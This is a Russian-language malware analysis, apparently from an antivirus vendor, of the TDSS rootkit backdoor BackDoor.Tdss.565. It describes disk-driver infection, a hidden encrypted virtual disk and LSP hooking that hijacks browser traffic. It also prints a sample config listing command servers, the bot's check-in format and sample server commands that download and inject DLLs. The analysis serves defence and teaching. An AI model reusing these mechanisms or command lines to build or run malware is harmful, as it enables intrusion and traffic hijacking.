Уязвимые ОС: Windows XP/Windows Vista/Windows 7
Тем, кого интересует подробное описание BackDoor.Tdss.565, рекомендуем ознакомиться со статьей вирусных аналитиков компании «Доктор Веб».
При инсталляции внедряет свой код в системный процесс и оттуда создает и запускает временный сервис с именем tdlserv:
[HKLM\system\currentcontrolset\services\tdlserv]
Imagepath=" \??\C:\DOCUME~1\
Type=1
Данный драйвер для обеспечения своей последующей автозагрузки заражает системный драйвер обслуживающий физический диск, где находится ОС (например, atapi.sys). Оригинальные байты из зараженного драйвера и сам основной код руткита сохраняются в последних секторах диска. Там же организует скрытый шифрованный виртуальный диск. На этот диск записываются компоненты пользовательского режима tdlcmd.dll, tdlwsp.dll и файл конфигурации config.ini. Руткит модуль скрывает все изменения в системе и осуществляет внедрение компонент пользовательского режима в процессы согласно файлу конфигурации.
Пример. Содержимое файла config.ini
[main]
version=3.0
botid=4513c055-11f2-8278-7863-3d82b9b804c8
affid=10002
subid=0
installdate=1.10.2009 9:4:38
[injector]
svchost.exe=tdlcmd.dll
*=tdlwsp.dll
[tdlcmd]
servers=https://h3456345.cn/;https://h9237634.cn/;https://212.117.174.173/
Модуль, отвечающий за обновления вредоносной программы и её компонент с управляющего сервера. Из собственного имени извлекает путь к виртуальному диску, созданному руткит-драйвером и считывает данные из файла config.ini об управляющих серверах, идентификаторе бота и т.д. Получает информацию о версии системы, языке системы и браузере по-умолчанию. Эти данные представляются в виде строки:
4513c055-11f2-8278-7863-3d82b9b804c8|10002|0|3.0|3.1|5.1 2600 SP1.0|ru-ru|iexplore
(botid|affid|Subid|bot_version|loader_version|system_version|locale|browser)
Она сначала шифруется RC4 с ключом в виде имени сервера (например: h3456345.cn), затем кодируется в base64. И полученный запрос отправляется на сервер.
Пример:
https://h3456345.cn/gJdwOLwW21dVuODFVDCvEuknIdD1k+Bc8Rnq3uFl2VbBscU44iqKKslUgRXjw2Rb
/Vk48jWDFc3HwZ+Mno1/yx+sVdbaH0XgRMuAczm9JI2KBg==
В ответ получает зашифрованный набор инструкции и исполняет их. Инструкции представляют собой имена функций в загруженных модулях вредоносной программы и их параметры.
Пример:
botnetcmd.ModuleDownloadUnxor('https://h3456345.cn/2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==', '\\?\globalroot\systemroot\system32\botnetwsp8y.dll')
botnetcmd.InjectorAdd('*','botnetwsp8y.dll')
botnetcmd.SetCmdDelay(14400)
botnetcmd.FileDownloadRandom('https://h3456345.cn/2c0lfrNDklZZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==','\\?\globalroot\systemroot\system32\botnet.dat')
tdlcmd.ConfigWrite('tdlcmd','delay','1800')
tdlcmd.ConfigWrite('tdlcmd','servers','https://h3456345.cn/;https://h9237634.cn/;https://212.117.174.173/')
ссылки в параметрах представляют из себя зашифрованные команды серверу, например "2c0lfrNDklNZveSSVX6nFesyPdarl/5J8ErqwbRkjV3ctsI4rHmDeMFWyUan0Q==" это "module|1!4513c055-11f2-8278-7863-3d82b9b804c8!", файлы скачиваемые по таким ссылкам зашифрованы идентификатором бота (4513c055-11f2-8278-7863-3d82b9b804c8)
Так в данном случае, botnetwsp8y.dll является обновлением для модуля tdlwsp.dll, а botnet.dat это список командных серверов
Внедряется согласно файлу конфигурации во все процессы, но работает только в тех имена которых содержат подстроки explore, firefox, chrome, opera, safari, netscape, avant, browser. Перехватывает функцию mswsock.dll!WSPStartup. В обработчике перехваченной функции WSPStartup, подменяет в таблице SPI(service provider interface) процедуры WSPSend, WSPRecv и WSPCloseSocket на свои. Т.о. работая как классический LSP (Layered Service Provider)
С этого момента вредоносная программа полностью контролирует пользовательские запросы и способна подменять результаты поисковых машин и перенаправлять пользователя на вредоносные сайты. Информация о перенаправлении и реакции на ключевые слова приходит от командного сервера.